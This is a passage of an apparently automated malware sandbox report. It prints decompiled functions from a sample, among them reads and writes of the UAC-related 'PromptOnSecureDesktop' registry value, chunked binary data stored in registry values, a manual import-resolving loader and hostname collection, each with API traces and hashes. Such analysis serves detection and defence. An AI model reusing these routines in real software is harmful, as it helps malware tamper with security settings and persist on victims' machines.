							_t52 = E0040EBCC(_t49 - _t60 + 1);
							_pop(_t56);
							 *0x412c38 = _t52;
							if(_t52 == 0) {
								goto L18;
							}
							E0040EF00(_t52,  &_v312);
							L17:
							_pop(_t56);
							goto L18;
						}
					}
				} else {
					E00407EE6(_t56);
					L20:
					_t70 =  *0x4121a8; // 0x0
					if(_t70 != 0) {
						_t71 =  *0x4121a4; // 0x0
						if(_t71 == 0) {
							_t31 = E0040675C(0x4121a8,  &_v20, 0);
							_t61 = _t31;
							if(_t31 != 0) {
								_t63 = _v20;
								 *0x4122d4 = E004024C2(_t61, _t63, 0);
								 *0x4121a4 = _t63;
								E0040EC2E(_t61);
							}
						}
					}
					return 1;
				}
			}

0x004080c9
0x004080d7
0x004080da
0x004080e0
0x004080ed
0x0040810b
0x00408110
0x00408115
0x00000000
0x00408130
0x00408151
0x00408156
0x00408167
0x00408216
0x0040821d
0x00408222
0x00000000
0x00408222
0x0040818b
0x004081f7
0x004081f7
0x004081fe
0x00000000
0x00000000
0x00408201
0x00408206
0x00000000
0x00408198
0x0040819b
0x004081a0
0x004081a1
0x004081a8
0x0040820d
0x00408210
0x00000000
0x00408210
0x004081aa
0x004081c2
0x00000000
0x00000000
0x004081c4
0x004081ca
0x004081cd
0x004081cd
0x004081cf
0x004081d0
0x004081d8
0x004081dd
0x004081de
0x004081e5
0x00000000
0x00000000
0x004081ef
0x0040820c
0x0040820c
0x00000000
0x0040820c
0x0040818b
0x004080ef
0x004080ef
0x00408225
0x00408225
0x0040822b
0x0040822d
0x00408233
0x0040823f
0x00408244
0x0040824b
0x0040824d
0x00408259
0x0040825e
0x00408264
0x00408269
0x0040824b
0x00408233
0x00408273
0x00408273

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?,?,?,?,751443E0,00000000), ref: 0040815F
RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,751443E0,00000000), ref: 00408187
RegQueryValueExA.ADVAPI32(?,?,00000000,00000001,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,751443E0,00000000), ref: 004081BE
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?,?,?,?,751443E0,00000000), ref: 00408210

Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000080,?,751443E0,00000000), ref: 0040677E
Part of subcall function 0040675C: CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,751443E0,00000000), ref: 0040679A
Part of subcall function 0040675C: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,751443E0,00000000), ref: 004067B0
Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000002,?,751443E0,00000000), ref: 004067BF
Part of subcall function 0040675C: GetFileSize.KERNEL32(000000FF,00000000,?,751443E0,00000000), ref: 004067D3
Part of subcall function 0040675C: ReadFile.KERNELBASE(000000FF,?,00000040,00408244,00000000,?,751443E0,00000000), ref: 00406807
Part of subcall function 0040675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,751443E0,00000000), ref: 0040681F
Part of subcall function 0040675C: ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,751443E0,00000000), ref: 0040683E
Part of subcall function 0040675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,751443E0,00000000), ref: 0040685C

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Strings

PromptOnSecureDesktop, xrefs: 0040814B, 00408150, 0040821C

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: File$AttributesCreateHeapPointerQueryReadValue$CloseFreeOpenProcessSize
String ID: PromptOnSecureDesktop
API String ID: 124786226-2980165447
Opcode ID: f41c48beccc796d99ac39a3e9a8e7a8285e468a1565ebf528982a8b7ec716e81
Instruction ID: c6ff5cc28a73505882571aaa3479db7aabb841166acb9389a4089cab67cb233b
Opcode Fuzzy Hash: f41c48beccc796d99ac39a3e9a8e7a8285e468a1565ebf528982a8b7ec716e81
Instruction Fuzzy Hash: 6641A2B1801109BFEB10EBA19E81DEF777CDB04304F1448BFF545F2182EAB85A948B59

Uniqueness

Uniqueness Score: -1.00%

Function 00435304, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00435378
__aullrem.LIBCMT ref: 00435545
__aulldiv.LIBCMT ref: 00435567

Strings

0, xrefs: 00435333
9, xrefs: 00435578

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: bfbcba11c80bff383e639ac83f0e674f3b48becf6fda37fabb7fba7b4f58a35d
Instruction ID: 78b6eae0d9280952ea75c93dcd449c381c697ce822a587bf8bded410db8c0aa3
Opcode Fuzzy Hash: bfbcba11c80bff383e639ac83f0e674f3b48becf6fda37fabb7fba7b4f58a35d
Instruction Fuzzy Hash: 294114B1D05A28DFDF24CF48C889BAEB7B5BB58304F2091DAD408A7244C738AE81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00427F35, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00427FA9
__aullrem.LIBCMT ref: 00428176
__aulldiv.LIBCMT ref: 00428198

Strings

9, xrefs: 004281A9
0, xrefs: 00427F64

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: c95c1c97fcdc506e330ee6b5850d880ca2d4116ecbab7ddb9671f8247ded9fd2
Instruction ID: 0f56c6d1380afb9abf662937de3ce762ec9139dcf9dcbe5b686d25c7380d3d3e
Opcode Fuzzy Hash: c95c1c97fcdc506e330ee6b5850d880ca2d4116ecbab7ddb9671f8247ded9fd2
Instruction Fuzzy Hash: BB410371E05229CFDB64CF48DD89BAEB7B5BF84304F50819AE449AB241CB389E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043C5B9, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C620
__aullrem.LIBCMT ref: 0043C7F0
__aulldiv.LIBCMT ref: 0043C812

Strings

9, xrefs: 0043C823
', xrefs: 0043C5B9

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 640afffba0935bbe6b6bf5304f1230b54a4b8383186dbe245a40224a40a2e979
Instruction ID: b102955662babdcbce72eda85e79d241ed73823bbcdfd7108122f541d2810344
Opcode Fuzzy Hash: 640afffba0935bbe6b6bf5304f1230b54a4b8383186dbe245a40224a40a2e979
Instruction Fuzzy Hash: 6A4127B1E1012A9FDB24CF58C881BAEB7B5FF89314F1050AAD549B7241C7389E81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0040E095, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E095(void* _a4, char* _a8, intOrPtr* _a12, char* _a16, int _a20) {
				int _v8;
				char* _v12;
				void* _v16;
				char _v48;
				intOrPtr* _t34;
				int _t50;
				void* _t52;
				intOrPtr _t53;
				int _t57;
				int _t58;
				void* _t59;
				void* _t60;
				void* _t61;

				_t57 = 0;
				if(RegCreateKeyExA(_a4, _a8, 0, 0, 0, 0x20106, 0,  &_v16, 0) != 0) {
					return 0;
				}
				_v12 = _a16;
				_t34 = _a12;
				_t52 = _t34 + 1;
				do {
					_t53 =  *_t34;
					_t34 = _t34 + 1;
				} while (_t53 != 0);
				_t55 = _t34 - _t52;
				_v8 = 0;
				if(_t34 - _t52 > 0x1c) {
					_t55 = 0x1c;
				}
				E0040EE08( &_v48, _a12, _t55);
				_t50 = _a20;
				_t61 = _t60 + 0xc;
				if(_t50 <= _t57) {
					L11:
					E0040F1ED(_v8, _t59 + _t55 - 0x2c, 0xa);
					RegDeleteValueA(_v16,  &_v48);
					RegCloseKey(_v16);
					return 0 | _t50 == _t57;
				} else {
					while(1) {
						_t58 = 0xff000;
						if(_t50 < 0xff000) {
							_t58 = _t50;
						}
						E0040F1ED(_v8, _t59 + _t55 - 0x2c, 0xa);
						_t61 = _t61 + 0xc;
						if(RegSetValueExA(_v16,  &_v48, 0, 3, _v12, _t58) != 0) {
							break;
						}
						_v12 =  &(_v12[_t58]);
						_t50 = _t50 - _t58;
						_v8 = _v8 + 1;
						if(_t50 > 0) {
							continue;
						}
						break;
					}
					_t57 = 0;
					goto L11;
				}
			}

0x0040e09c
0x0040e0ba
0x00000000
0x0040e172
0x0040e0c3
0x0040e0c6
0x0040e0c9
0x0040e0cc
0x0040e0cc
0x0040e0ce
0x0040e0cf
0x0040e0d7
0x0040e0d9
0x0040e0df
0x0040e0e3
0x0040e0e3
0x0040e0ec
0x0040e0f1
0x0040e0f4
0x0040e0f9
0x0040e13f
0x0040e149
0x0040e158
0x0040e161
0x00000000
0x0040e0fb
0x0040e0fb
0x0040e0fb
0x0040e102
0x0040e104
0x0040e104
0x0040e110
0x0040e115
0x0040e12f
0x00000000
0x00000000
0x0040e131
0x0040e134
0x0040e136
0x0040e13b
0x00000000
0x00000000
0x00000000
0x0040e13b
0x0040e13d
0x00000000
0x0040e13d

APIs

RegCreateKeyExA.ADVAPI32(80000001,0040E2A3,00000000,00000000,00000000,00020106,00000000,0040E2A3,00000000,000000E4), ref: 0040E0B2
RegSetValueExA.ADVAPI32(0040E2A3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E127
RegDeleteValueA.ADVAPI32(0040E2A3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E158
RegCloseKey.ADVAPI32(0040E2A3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0040E2A3), ref: 0040E161

Strings

PromptOnSecureDesktop, xrefs: 0040E0D3

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: Value$CloseCreateDelete
String ID: PromptOnSecureDesktop
API String ID: 2667537340-2980165447
Opcode ID: 72ec9626f1a57597f212d5c6e724b1b36c6131d7c0d684d5184da94b21603b05
Instruction ID: af4a942e7328ea1ce2cdf979f73f75556816175b5134196b99f0fb832a21e1c2
Opcode Fuzzy Hash: 72ec9626f1a57597f212d5c6e724b1b36c6131d7c0d684d5184da94b21603b05
Instruction Fuzzy Hash: 2F218071A00219BBDF209FA6EC89EDF7F79EF08754F008072F904A6190E6718A64DB94

Uniqueness

Uniqueness Score: -1.00%

Function 006CE2E5, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,006CE4F3,00000000,00000000,00000000,00020106,00000000,006CE4F3,00000000,000000E4), ref: 006CE302
RegSetValueExA.ADVAPI32(006CE4F3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 006CE377
RegDeleteValueA.ADVAPI32(006CE4F3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 006CE3A8
RegCloseKey.ADVAPI32(006CE4F3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,006CE4F3), ref: 006CE3B1

Strings

PromptOnSecureDesktop, xrefs: 006CE323

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: Value$CloseCreateDelete
String ID: PromptOnSecureDesktop
API String ID: 2667537340-2980165447
Opcode ID: 71be46fcf4b4c1b855c56a8beb8c548cd5d416d4e28516e03566d8543fb954ad
Instruction ID: 9de8f017651b91c4d384fb64f4fb7ba8ebdb1cb10a3d5a1fc32e21704cc709fa
Opcode Fuzzy Hash: 71be46fcf4b4c1b855c56a8beb8c548cd5d416d4e28516e03566d8543fb954ad
Instruction Fuzzy Hash: 09217F31A0021DABDF209FA4EC85FEE7FBAEF08750F008069F908E3151E2729A54C790

Uniqueness

Uniqueness Score: -1.00%

Function 006C71AF, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 006C71CA
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 006C7211
LocalFree.KERNEL32(?,?,?), ref: 006C726F
wsprintfA.USER32 ref: 006C7286

Strings

|, xrefs: 006C7203

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: Name$AccountFreeLocalLookupUserwsprintf
String ID: |
API String ID: 2539190677-2343686810
Opcode ID: 0c0665c49b02975d3cb655efb4674a53369201e8279effc4896e63a6fe97e42a
Instruction ID: c87488ebafc16852babe40f2d810c494163e09538d4f8e36e1368f36624a1d14
Opcode Fuzzy Hash: 0c0665c49b02975d3cb655efb4674a53369201e8279effc4896e63a6fe97e42a
Instruction Fuzzy Hash: 21311C72504108BFDB01DFA8D845FEA7BADEF04354F14806AF859DB211DA79D7488F94

Uniqueness

Uniqueness Score: -1.00%

Function 0042EC60, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

___dtold.LIBCMTD ref: 0042EC7A
_$I10_OUTPUT.LIBCMTD ref: 0042ECA2
_wcscpy_s.LIBCMTD ref: 0042ECE2

Part of subcall function 0041DD40: __invalid_parameter.LIBCMTD ref: 0041DDB2

__invoke_watson_if_error.LIBCMTD ref: 0042ECEB

Strings

A, xrefs: 0042ECDA, 0042ECDD

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: I10____dtold__invalid_parameter__invoke_watson_if_error_wcscpy_s
String ID: A
API String ID: 289039318-2078354741
Opcode ID: f0f9dd0c665e7f74d213afa1b6ae84cc3517475249c09697b9ef18fb81be1787
Instruction ID: 7067e82d5ce1898043dbafec7ce0007e06e621ced0c34bd2e8545c0cb466a372
Opcode Fuzzy Hash: f0f9dd0c665e7f74d213afa1b6ae84cc3517475249c09697b9ef18fb81be1787
Instruction Fuzzy Hash: EA214DB5A003099BCB04EF65D842EEEB7F4EF8C704F148559F8056B381E635D911CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD08, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AD08(CHAR* _a4) {
				char _v132;
				int _t9;
				char _t11;
				intOrPtr* _t12;
				CHAR* _t13;
				CHAR* _t14;

				_t9 = gethostname( &_v132, 0x80);
				if(_t9 != 0) {
					_t14 = _a4;
					L15:
					if( *_t14 != 0) {
						return _t9;
					}
					return lstrcpyA(_t14, "LocalHost");
				}
				_t13 = _a4;
				_t11 = _v132;
				_t12 =  &_v132;
				_t14 = _t13;
				while(_t11 != 0) {
					if(_t11 < 0x61 || _t11 > 0x7a) {
						if(_t11 < 0x41 || _t11 > 0x5a) {
							if(_t11 < 0x30 || _t11 > 0x39) {
								if(_t11 != 0x2e) {
									goto L10;
								}
							}
						}
						goto L9;
					} else {
						L9:
						 *_t13 = _t11;
						_t13 =  &(_t13[1]);
						L10:
						_t12 = _t12 + 1;
						_t11 =  *_t12;
						continue;
					}
				}
				_t9 = lstrlenA(_t14);
				if(_t14[_t9] == 0x2e) {
					_t9 = lstrlenA(_t14);
					_t14[_t9] = 0;
				}
				goto L15;
			}

0x0040ad1c
0x0040ad24
0x0040ad71
0x0040ad74
0x0040ad77
0x0040ad88
0x0040ad88
0x00000000
0x0040ad7f
0x0040ad26
0x0040ad29
0x0040ad2c
0x0040ad2f
0x0040ad55
0x0040ad35
0x0040ad3d
0x0040ad45
0x0040ad4d
0x00000000
0x00000000
0x0040ad4d
0x0040ad45
0x00000000
0x0040ad4f
0x0040ad4f
0x0040ad4f
0x0040ad51
0x0040ad52
0x0040ad52
0x0040ad53
0x00000000
0x0040ad53
0x0040ad35
0x0040ad60
0x0040ad66
0x0040ad69
0x0040ad6b
0x0040ad6b
0x00000000

APIs

gethostname.WS2_32(?,00000080), ref: 0040AD1C
lstrlenA.KERNEL32(00000000), ref: 0040AD60
lstrlenA.KERNEL32(00000000), ref: 0040AD69
lstrcpyA.KERNEL32(00000000,LocalHost), ref: 0040AD7F

Strings

LocalHost, xrefs: 0040AD79

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: lstrlen$gethostnamelstrcpy
String ID: LocalHost
API String ID: 3695455745-3154191806
Opcode ID: 8a17093f3d26383e77935b758fdadb31e519a4398e40a43d70c627834661f375
Instruction ID: 5e983dddb47fd7e780230f110e9d304ee880480ae48faa8370a3fb9af9ed59c3
Opcode Fuzzy Hash: 8a17093f3d26383e77935b758fdadb31e519a4398e40a43d70c627834661f375
Instruction Fuzzy Hash: FA0149208443895EDF3107289844BEA3F675F9670AF104077E4C0BB692E77C8893835F

Uniqueness

Uniqueness Score: -1.00%

Function 006CB461, Relevance: 7.6, APIs: 5, Instructions: 131timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 006CB503
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 006CB512
SystemTimeToFileTime.KERNEL32(?,?), ref: 006CB531
GetTimeZoneInformation.KERNEL32(?), ref: 006CB579
wsprintfA.USER32 ref: 006CB607

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: Time$File$Local$InformationSystemZonewsprintf
String ID:
API String ID: 4026320513-0
Opcode ID: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction ID: 2de48d7d50bd24d3403dcc506a0c8c3bd6c525a538fc9fbbc5519e7c78943fc9
Opcode Fuzzy Hash: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction Fuzzy Hash: BE511071D0021CAACF14DFD5D8859FEBBB9FF48304F50812AE501A6250E7B94AC9CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00406069, Relevance: 7.6, APIs: 5, Instructions: 121
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406069(_Unknown_base(*)()* _a4) {
				intOrPtr* _v8;
				signed int _v12;
				struct HINSTANCE__* _v16;
				intOrPtr _t47;
				_Unknown_base(*)()* _t48;
				_Unknown_base(*)()* _t50;
				struct HINSTANCE__* _t52;
				_Unknown_base(*)()* _t53;
				_Unknown_base(*)()* _t54;
				_Unknown_base(*)()* _t55;
				signed int _t56;
				_Unknown_base(*)()* _t59;
				_Unknown_base(*)()* _t62;
				_Unknown_base(*)()* _t63;
				intOrPtr _t69;
				_Unknown_base(*)()* _t76;
				_Unknown_base(*)()* _t77;
				intOrPtr* _t82;
				void* _t85;
				intOrPtr* _t87;
				_Unknown_base(*)()* _t89;

				_t82 = _a4;
				_t47 =  *_t82;
				_t3 = _t82 + 4; // 0x65e85621
				_t69 =  *_t3;
				_v12 = 1;
				if( *((intOrPtr*)(_t47 + 0x84)) != 0) {
					_t85 =  *((intOrPtr*)(_t47 + 0x80)) + _t69;
					_t48 = IsBadReadPtr(_t85, 0x14);
					__eflags = _t48;
					if(_t48 != 0) {
						L29:
						return _v12;
					}
					_t87 = _t85 + 0x10;
					_v8 = _t87;
					while(1) {
						_t50 =  *(_t87 - 4);
						__eflags = _t50;
						if(_t50 == 0) {
							goto L29;
						}
						_t52 = LoadLibraryA(_t50 + _t69);
						_v16 = _t52;
						__eflags = _t52 - 0xffffffff;
						if(_t52 == 0xffffffff) {
							L28:
							_t44 =  &_v12;
							 *_t44 = _v12 & 0x00000000;
							__eflags =  *_t44;
							goto L29;
						}
						_t10 = _t82 + 8; // 0x8bfffffa
						_t53 =  *_t10;
						__eflags = _t53;
						if(_t53 != 0) {
							_t14 = _t82 + 0xc; // 0x28408b06
							_t54 = E0040EBED(_t53, 4 +  *_t14 * 4);
						} else {
							_t11 = _t82 + 0xc; // 0x28408b06
							_t54 = E0040EBCC(4 +  *_t11 * 4);
						}
						 *(_t82 + 8) = _t54;
						__eflags = _t54;
						if(_t54 == 0) {
							goto L28;
						} else {
							_t18 = _t82 + 0xc; // 0x28408b06
							 *((intOrPtr*)(_t54 +  *_t18 * 4)) = _v16;
							 *(_t82 + 0xc) =  *(_t82 + 0xc) + 1;
							_t55 =  *(_t87 - 0x10);
							__eflags = _t55;
							if(_t55 == 0) {
								_t89 =  *_t87 + _t69;
								__eflags = _t89;
								_t76 = _t89;
							} else {
								_t89 = _t55 + _t69;
								_t76 =  *_v8 + _t69;
							}
							_t56 =  *_t89;
							__eflags = _t56;
							if(_t56 == 0) {
								L25:
								__eflags = _v12;
								if(_v12 == 0) {
									goto L29;
								}
								_v8 = _v8 + 0x14;
								_t59 = IsBadReadPtr(_v8 + 0xfffffff0, 0x14);
								__eflags = _t59;
								if(_t59 == 0) {
									_t87 = _v8;
									continue;
								}
								goto L29;
							} else {
								_a4 = _t76;
								_a4 = _a4 - _t89;
								__eflags = _t56;
								do {
									if(__eflags >= 0) {
										_t62 = GetProcAddress(_v16, _t56 + _t69 + 2);
										__eflags = _t62;
										if(_t62 == 0) {
											L21:
											_t63 = _a4;
											__eflags =  *(_t63 + _t89);
											if( *(_t63 + _t89) == 0) {
												_t38 =  &_v12;
												 *_t38 = _v12 & 0x00000000;
												__eflags =  *_t38;
												goto L25;
											}
											goto L22;
										}
										_t77 = _a4;
										__eflags = _t62 -  *(_t77 + _t89);
										if(_t62 ==  *(_t77 + _t89)) {
											goto L21;
										}
										L20:
										 *(_t77 + _t89) = _t62;
										goto L21;
									}
									_t62 = GetProcAddress(_v16, _t56 & 0x0000ffff);
									_t77 = _a4;
									goto L20;
									L22:
									_t89 = _t89 + 4;
									_t56 =  *_t89;
									__eflags = _t56;
								} while (__eflags != 0);
								goto L25;
							}
						}
					}
					goto L29;
				}
				return 1;
			}

0x00406071
0x00406074
0x0040607c
0x0040607c
0x00406082
0x00406087
0x00406099
0x0040609c
0x004060a2
0x004060a4
0x004061b2
0x00000000
0x004061b5
0x004060aa
0x004060ad
0x004060b5
0x004060b5
0x004060b8
0x004060ba
0x00000000
0x00000000
0x004060c3
0x004060c9
0x004060cc
0x004060cf
0x004061ae
0x004061ae
0x004061ae
0x004061ae
0x00000000
0x004061ae
0x004060d5
0x004060d5
0x004060d8
0x004060da
0x004060ee
0x004060fa
0x004060dc
0x004060dc
0x004060e7
0x004060e7
0x00406101
0x00406104
0x00406106
0x00000000
0x0040610c
0x0040610c
0x00406112
0x00406115
0x00406118
0x0040611b
0x0040611d
0x0040612d
0x0040612d
0x0040612f
0x0040611f
0x0040611f
0x00406127
0x00406127
0x00406131
0x00406133
0x00406135
0x0040618b
0x0040618b
0x0040618f
0x00000000
0x00000000
0x00406191
0x0040619e
0x004061a4
0x004061a6
0x004060b2
0x00000000
0x004060b2
0x00000000
0x00406137
0x00406137
0x0040613a
0x0040613d
0x0040613f
0x0040613f
0x0040615e
0x00406164
0x00406166
0x00406173
0x00406173
0x00406176
0x0040617a
0x00406187
0x00406187
0x00406187
0x00000000
0x00406187
0x00000000
0x0040617a
0x00406168
0x0040616b
0x0040616e
0x00000000
0x00000000
0x00406170
0x00406170
0x00000000
0x00406170
0x0040614a
0x00406150
0x00000000
0x0040617c
0x0040617c
0x0040617f
0x00406181
0x00406181
0x00000000
0x00406185
0x00406135
0x00406106
0x00000000
0x004060b5
0x00000000

APIs

IsBadReadPtr.KERNEL32(?,00000014,00000000,?,00000000,?,004064CF,00000000), ref: 0040609C
LoadLibraryA.KERNEL32(?,?,004064CF,00000000), ref: 004060C3
GetProcAddress.KERNEL32(?,00000014), ref: 0040614A
IsBadReadPtr.KERNEL32(-000000DC,00000014), ref: 0040619E

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: Read$AddressLibraryLoadProc
String ID:
API String ID: 2438460464-0
Opcode ID: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction ID: 2c66ad34c3d6fb1da92a891872b73c8746f5f3d5bf62d79dfacd6c24df0475f4
Opcode Fuzzy Hash: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction Fuzzy Hash: D5418C71A00105AFDB10CF58C884BAAB7B9EF14354F26807AE816EB3D1D738ED61CB84

Uniqueness

Uniqueness Score: -1.00%

Function 006C62B9, Relevance: 7.6, APIs: 5, Instructions: 121libraryloaderCOMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(?,00000014), ref: 006C62EC
LoadLibraryA.KERNEL32(?), ref: 006C6313
GetProcAddress.KERNEL32(00000000,?), ref: 006C639A
IsBadHugeReadPtr.KERNEL32(-000000DC,00000014), ref: 006C63EE

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: HugeRead$AddressLibraryLoadProc
String ID:
API String ID: 3498078134-0
Opcode ID: 22151fd6ac6a99dd14e45186f4812a7dac7af9c00bb3bb0eb99ee7530713bb62
Instruction ID: d914857bc5291ba7054a1acd54adaacaa73c35a5ab8b6291bc01f1c792a94404
Opcode Fuzzy Hash: 22151fd6ac6a99dd14e45186f4812a7dac7af9c00bb3bb0eb99ee7530713bb62
Instruction Fuzzy Hash: 79416671A00159ABDB148F58C884FBAB7AAEF14354F24816DF80AD7390E731ED42CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00402923, Relevance: 7.6, APIs: 5, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00402923(void* __ecx, void* __esi, intOrPtr _a4) {
				signed int* _v8;
				signed int* _v12;
				signed int* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed short _v28;
				short _v30;
				short _v32;
				char _v292;
				char _v296;
				void* __ebx;
				void* __edi;
				void* _t37;
				intOrPtr _t41;
				signed int* _t42;
				signed short _t53;
				signed int** _t62;
				void* _t67;
				void* _t70;
				intOrPtr _t71;
				intOrPtr* _t79;
				signed int* _t80;
				void* _t81;
				void* _t82;
				void* _t83;

				_t81 = __esi;
				_t37 = 0xc;
				_v8 = 0;
				_v16 = 0;
				if(_a4 >= _t37) {
					_t67 = E00402816(_t37, __esi, __ecx, __esi, _a4);
					if(_t67 < _a4) {
						_t76 =  *(__esi + 6) & 0x0000ffff;
						_t41 = ( *(__esi + 0xa) & 0x0000ffff) + ( *(__esi + 8) & 0x0000ffff) + ( *(__esi + 6) & 0x0000ffff);
						_v20 = _t41;
						_v12 = 0;
						if(_t41 <= 0) {
							L13:
							_t42 = _v16;
							L14:
							return _t42;
						}
						while(_t67 < _a4) {
							E0040EE2A(_t76,  &_v296, 0, 0x114);
							_t70 = E00402871(_t67, _t81, _t76,  &_v292, _a4);
							_t15 = _t70 + 0xa; // 0xa
							_t83 = _t82 + 0x10;
							if(_t15 >= _a4) {
								goto L13;
							}
							_t79 = __imp__#15;
							_v32 =  *_t79( *(_t70 + _t81) & 0x0000ffff);
							_v30 =  *_t79( *(_t70 + _t81 + 2) & 0x0000ffff);
							_t53 =  *_t79( *(_t70 + _t81 + 8) & 0x0000ffff);
							_v28 = _t53;
							_t71 = _t70 + 0xa;
							_v24 = _t71;
